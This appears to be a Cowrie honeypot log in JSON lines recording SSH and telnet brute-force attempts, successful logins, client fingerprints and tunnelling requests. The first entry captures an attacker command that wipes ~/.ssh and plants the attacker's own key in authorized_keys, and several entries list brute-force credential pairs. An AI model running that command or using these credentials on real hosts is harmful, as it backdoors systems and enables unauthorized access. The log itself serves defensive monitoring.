{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:27.382265Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:27.638627Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:27.642146Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":54706,"dst_ip":"159.203.135.109","dst_port":22,"session":"a576334d7226","protocol":"ssh","message":"New connection: 103.60.242.169:54706 (159.203.135.109:22) [session: a576334d7226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:27.896279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:27.900498Z","src_ip":"103.60.242.169","session":"a576334d7226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:28.162752Z","src_ip":"103.60.242.169","session":"a576334d7226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:29.236482Z","src_ip":"103.60.242.169","session":"a576334d7226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":32974,"dst_ip":"10.17.0.5","dst_port":22,"session":"14a2e8f28f58","protocol":"ssh","message":"New connection: 37.233.85.71:32974 (10.17.0.5:22) [session: 14a2e8f28f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:30.226461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:30.236482Z","src_ip":"37.233.85.71","session":"14a2e8f28f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:30.345573Z","src_ip":"37.233.85.71","session":"14a2e8f28f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:30.499154Z","src_ip":"103.60.242.169","session":"a576334d7226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1212qwqw","message":"login attempt [root/1212qwqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:30.673389Z","src_ip":"37.233.85.71","session":"14a2e8f28f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":54718,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e591a11d9be","protocol":"ssh","message":"New connection: 103.60.242.169:54718 (159.203.135.109:22) [session: 7e591a11d9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:30.757551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:30.761678Z","src_ip":"103.60.242.169","session":"7e591a11d9be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:31.020065Z","src_ip":"103.60.242.169","session":"7e591a11d9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:31.784449Z","src_ip":"37.233.85.71","session":"14a2e8f28f58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:32.080104Z","src_ip":"103.60.242.169","session":"7e591a11d9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:32.334074Z","src_ip":"103.60.242.169","session":"d9390bd2c809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:32.341641Z","src_ip":"103.60.242.169","session":"7e591a11d9be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42788,"dst_ip":"159.203.135.109","dst_port":23,"session":"59d7b5caf701","protocol":"telnet","message":"New connection: 128.199.8.54:42788 (159.203.135.109:23) [session: 59d7b5caf701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:59.087224Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":56582,"dst_ip":"159.203.135.109","dst_port":22,"session":"6982b9225520","protocol":"ssh","message":"New connection: 2.99.213.222:56582 (159.203.135.109:22) [session: 6982b9225520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:37.691128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:37.695664Z","src_ip":"2.99.213.222","session":"6982b9225520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:37.796336Z","src_ip":"2.99.213.222","session":"6982b9225520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":42460,"dst_ip":"159.203.135.109","dst_port":22,"session":"447c1ab8c4fb","protocol":"ssh","message":"New connection: 101.79.165.43:42460 (159.203.135.109:22) [session: 447c1ab8c4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:38.046770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:38.050782Z","src_ip":"101.79.165.43","session":"447c1ab8c4fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"Admin@123","message":"login attempt [frappe/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:38.230605Z","src_ip":"2.99.213.222","session":"6982b9225520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:38.264809Z","src_ip":"101.79.165.43","session":"447c1ab8c4fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":59498,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8957034f483","protocol":"ssh","message":"New connection: 23.148.145.132:59498 (10.17.0.5:22) [session: f8957034f483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:39.000900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:39.007324Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:39.119560Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oem","password":"oem123","message":"login attempt [oem/oem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:39.158107Z","src_ip":"101.79.165.43","session":"447c1ab8c4fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:39.336205Z","src_ip":"2.99.213.222","session":"6982b9225520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:40.375275Z","src_ip":"101.79.165.43","session":"447c1ab8c4fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:40.622481Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59916,"dst_ip":"10.17.0.5","dst_port":22,"session":"77df49d91a02","protocol":"ssh","message":"New connection: 123.27.168.40:59916 (10.17.0.5:22) [session: 77df49d91a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:42.191167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:42.195446Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:42.442275Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:43.532682Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:44.068484Z","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:44.137784Z","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:44.311400Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
